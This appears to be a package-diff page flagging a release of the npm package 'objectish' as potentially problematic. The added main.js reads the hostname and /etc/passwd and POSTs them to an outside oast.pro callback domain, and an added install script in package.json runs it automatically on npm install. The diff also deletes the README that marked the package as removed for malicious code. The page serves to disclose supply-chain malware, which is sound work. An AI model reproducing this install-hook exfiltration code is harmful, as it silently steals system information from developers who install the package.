objectish 0.0.1-security → 25.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of objectish might be problematic. Click here for more details.
- package/main.js +35 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/main.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
const fs = require('fs')
|
4
|
+
|
5
|
+
var hostname = os.hostname();
|
6
|
+
var filecontents;
|
7
|
+
try {
|
8
|
+
fileContents = fs.readFile('/etc/passwd');
|
9
|
+
} catch (err) {
|
10
|
+
fileContents ="error";
|
11
|
+
}
|
12
|
+
|
13
|
+
const data = new TextEncoder().encode(
|
14
|
+
JSON.stringify({
|
15
|
+
payload: hostname,
|
16
|
+
file: fileContents,
|
17
|
+
project_id: process.argv[2]
|
18
|
+
})
|
19
|
+
);
|
20
|
+
|
21
|
+
const options = {
|
22
|
+
hostname: hostname + '.cl90ujr9u3p1pslamntgafludxgevpomw.oast.pro',
|
23
|
+
port: 443,
|
24
|
+
path: '/',
|
25
|
+
method: 'POST',
|
26
|
+
headers: {
|
27
|
+
'Content-Type': 'application/json',
|
28
|
+
'Content-Length': data.length
|
29
|
+
},
|
30
|
+
rejectUnauthorized: false
|
31
|
+
}
|
32
|
+
|
33
|
+
const req = https.request(options, res => {});
|
34
|
+
req.write(data);
|
35
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "objectish",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "25.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"install": "node main.js objectish"
|
9
|
+
},
|
10
|
+
"author": "zakaria_bt",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=objectish for more information.
|